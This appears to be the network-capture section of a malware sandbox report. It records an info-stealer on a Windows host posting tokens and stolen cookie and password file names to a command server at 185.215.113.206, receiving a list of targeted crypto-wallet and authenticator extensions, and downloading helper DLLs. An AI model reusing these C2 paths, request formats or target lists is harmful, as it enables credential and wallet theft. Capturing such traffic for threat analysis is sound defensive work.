Nov 17, 2024 10:07:17.377861977 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:17 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 17, 2024 10:07:17.377888918 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 17, 2024 10:07:17.377911091 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 17, 2024 10:07:17.377929926 CET	536	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Nov 17, 2024 10:07:17.377988100 CET	1236	IN	Data Raw: 5a 47 5a 74 62 57 46 6f 61 47 4a 71 5a 57 5a 6a 59 6d 64 68 62 32 78 6f 61 47 46 75 62 47 46 76 62 47 4a 38 4d 58 77 77 66 44 42 38 52 55 39 54 49 45 46 31 64 47 68 6c 62 6e 52 70 59 32 46 30 62 33 4a 38 62 32 56 73 61 6d 52 73 5a 48 42 75 62 57 Data Ascii: ZGZtbWFoaGJqZWZjYmdhb2xoaGFubGFvbGJ8MXwwfDB8RU9TIEF1dGhlbnRpY2F0b3J8b2VsamRsZHBubWRiY2hvbmllbGlkZ29iZGRmZmZsYWx8MXwwfDB8R0F1dGggQXV0aGVudGljYXRvcnxpbGdjbmhlbHBjaG5jZWVpcGlwaWphbGprYmxiY29ibHwxfDB8MHxCaXR3YXJkZW58bm5nY2Vja2JhcGViZmltbmxuaWlpYWh
Nov 17, 2024 10:07:17.378070116 CET	1236	IN	Data Raw: 61 6d 4a 77 62 32 78 6c 61 57 46 74 59 58 77 78 66 44 42 38 4d 48 78 4f 61 57 64 6f 64 47 78 35 49 46 64 68 62 47 78 6c 64 48 78 6d 61 57 6c 72 62 32 31 74 5a 47 52 69 5a 57 4e 6a 59 57 39 70 59 32 39 6c 61 6d 39 75 61 57 46 74 62 57 35 68 62 47 Data Ascii: amJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHxiZ2pvZ3BvaWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXBobGRha2lrZ2VmfDF8MHwwfE11bHRpdmVyc1ggRGV
Nov 17, 2024 10:07:17.378236055 CET	424	IN	Data Raw: 61 33 42 6c 5a 32 70 72 59 6d 78 72 61 32 56 6d 59 57 4e 6d 62 6d 31 72 59 57 70 6a 61 6d 31 68 59 6d 6c 71 61 47 4e 73 5a 33 77 78 66 44 42 38 4d 48 78 43 59 57 4e 72 63 47 46 6a 61 79 42 58 59 57 78 73 5a 58 52 38 59 57 5a 73 61 32 31 6d 61 47 Data Ascii: a3BlZ2prYmxra2VmYWNmbm1rYWpjam1hYmlqaGNsZ3wxfDB8MHxCYWNrcGFjayBXYWxsZXR8YWZsa21maGViZWRiamlvaXBnbGdjYmNtbmJwZ2xpb2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJ
Nov 17, 2024 10:07:17.378546953 CET	204	IN	Data Raw: 62 47 56 30 66 47 35 77 61 48 42 73 63 47 64 76 59 57 74 6f 61 47 70 6a 61 47 74 72 61 47 31 70 5a 32 64 68 61 32 6c 71 62 6d 74 6f 5a 6d 35 6b 66 44 46 38 4d 48 77 77 66 45 31 35 56 47 39 75 56 32 46 73 62 47 56 30 66 47 5a 73 5a 47 5a 77 5a 32 Data Ascii: bGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN3YXAgRXh0ZW5zaW9ufG5ucG1mcGxrZm9nZnBtY25ncGxobmJkbm5pbG1jZGNnfDF8MHwwfA==
Nov 17, 2024 10:07:17.379957914 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAFIJKKEHJDHJKFIECAA Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 62 32 64 65 34 64 37 34 30 32 66 39 63 31 39 65 30 65 63 33 64 63 39 62 31 64 62 63 62 61 39 64 33 33 39 33 35 63 66 63 61 31 66 32 64 64 31 63 62 31 63 30 62 64 62 39 37 63 32 62 61 30 39 64 33 64 63 36 61 61 62 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 2d 2d 0d 0a Data Ascii: ------AAFIJKKEHJDHJKFIECAAContent-Disposition: form-data; name="token"0b2de4d7402f9c19e0ec3dc9b1dbcba9d33935cfca1f2dd1cb1c0bdb97c2ba09d3dc6aab------AAFIJKKEHJDHJKFIECAAContent-Disposition: form-data; name="message"fplugins------AAFIJKKEHJDHJKFIECAA--
Nov 17, 2024 10:07:17.657071114 CET	335	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:17 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 17, 2024 10:07:17.677820921 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBFIDBFHDBGIDHJJEGHI Host: 185.215.113.206 Content-Length: 6775 Connection: Keep-Alive Cache-Control: no-cache
Nov 17, 2024 10:07:18.469611883 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 17, 2024 10:07:18.728313923 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 17, 2024 10:07:19.003890991 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:18 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49812	185.215.113.206	80	6264	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 10:07:27.137087107 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJDGHCBGDHIECBGIDAE Host: 185.215.113.206 Content-Length: 995 Connection: Keep-Alive Cache-Control: no-cache
Nov 17, 2024 10:07:27.137108088 CET	995	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 62 32 64 65 34 Data Ascii: ------HJJDGHCBGDHIECBGIDAEContent-Disposition: form-data; name="token"0b2de4d7402f9c19e0ec3dc9b1dbcba9d33935cfca1f2dd1cb1c0bdb97c2ba09d3dc6aab------HJJDGHCBGDHIECBGIDAEContent-Disposition: form-data; name="file_name"Y29va2llc1xHb
Nov 17, 2024 10:07:28.541908026 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 17, 2024 10:07:28.693207026 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEBAAFCAFCBKFHJJJKKF Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 62 32 64 65 34 64 37 34 30 32 66 39 63 31 39 65 30 65 63 33 64 63 39 62 31 64 62 63 62 61 39 64 33 33 39 33 35 63 66 63 61 31 66 32 64 64 31 63 62 31 63 30 62 64 62 39 37 63 32 62 61 30 39 64 33 64 63 36 61 61 62 0d 0a 2d 2d 2d 2d 2d 2d 49 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IEBAAFCAFCBKFHJJJKKFContent-Disposition: form-data; name="token"0b2de4d7402f9c19e0ec3dc9b1dbcba9d33935cfca1f2dd1cb1c0bdb97c2ba09d3dc6aab------IEBAAFCAFCBKFHJJJKKFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IEBAAFCAFCBKFHJJJKKFContent-Disposition: form-data; name="file"------IEBAAFCAFCBKFHJJJKKF--
Nov 17, 2024 10:07:29.488024950 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49892	185.215.113.206	80	6264	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 10:07:35.920319080 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBFCBGCGIJKJKECAKEGC Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 17, 2024 10:07:35.920475006 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 42 46 43 42 47 43 47 49 4a 4b 4a 4b 45 43 41 4b 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 62 32 64 65 34 Data Ascii: ------DBFCBGCGIJKJKECAKEGCContent-Disposition: form-data; name="token"0b2de4d7402f9c19e0ec3dc9b1dbcba9d33935cfca1f2dd1cb1c0bdb97c2ba09d3dc6aab------DBFCBGCGIJKJKECAKEGCContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 17, 2024 10:07:37.313611031 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 17, 2024 10:07:37.572252989 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEBGHDBKEBGIDHJJEHCA Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 42 47 48 44 42 4b 45 42 47 49 44 48 4a 4a 45 48 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 62 32 64 65 34 64 37 34 30 32 66 39 63 31 39 65 30 65 63 33 64 63 39 62 31 64 62 63 62 61 39 64 33 33 39 33 35 63 66 63 61 31 66 32 64 64 31 63 62 31 63 30 62 64 62 39 37 63 32 62 61 30 39 64 33 64 63 36 61 61 62 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 47 48 44 42 4b 45 42 47 49 44 48 4a 4a 45 48 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 47 48 44 42 4b 45 42 47 49 44 48 4a 4a 45 48 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AEBGHDBKEBGIDHJJEHCAContent-Disposition: form-data; name="token"0b2de4d7402f9c19e0ec3dc9b1dbcba9d33935cfca1f2dd1cb1c0bdb97c2ba09d3dc6aab------AEBGHDBKEBGIDHJJEHCAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AEBGHDBKEBGIDHJJEHCAContent-Disposition: form-data; name="file"------AEBGHDBKEBGIDHJJEHCA--
Nov 17, 2024 10:07:38.343849897 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 17, 2024 10:07:39.238662004 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 17, 2024 10:07:39.515420914 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:39 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 17, 2024 10:07:39.515460014 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 17, 2024 10:07:39.515558004 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 17, 2024 10:07:39.515569925 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Nov 17, 2024 10:07:39.515580893 CET	848	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Nov 17, 2024 10:07:39.515592098 CET	1236	IN	Data Raw: ff d1 83 c4 0c 8b 37 8b 47 04 8b 48 14 8b 45 10 8b 18 ff 15 00 80 0a 10 53 8b 5d 0c 53 56 ff d1 83 c4 0c 8b 37 8b 47 04 8b 48 18 ff 15 00 80 0a 10 ff 75 14 ff 75 10 53 56 ff d1 83 c4 10 31 c0 83 c4 04 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 Data Ascii: 7GHES]SV7GHuuSV1^_[]USWVPh1tq]@CFECHut7FKSrQP;KqSPVi^_[]Uh
Nov 17, 2024 10:07:39.515604019 CET	212	IN	Data Raw: 04 02 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f 88 14 37 8b 75 14 00 d4 0f b6 cc 8b 5d 10 8a 53 01 32 14 0f 8b 4d e4 88 51 01 83 fe 02 0f 84 e8 00 00 00 8b 45 ec 04 03 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f Data Ascii: }$7$7u]S2MQE}$7$7u]S2MQE}$7$7u]S2MQttE}$7$7u]
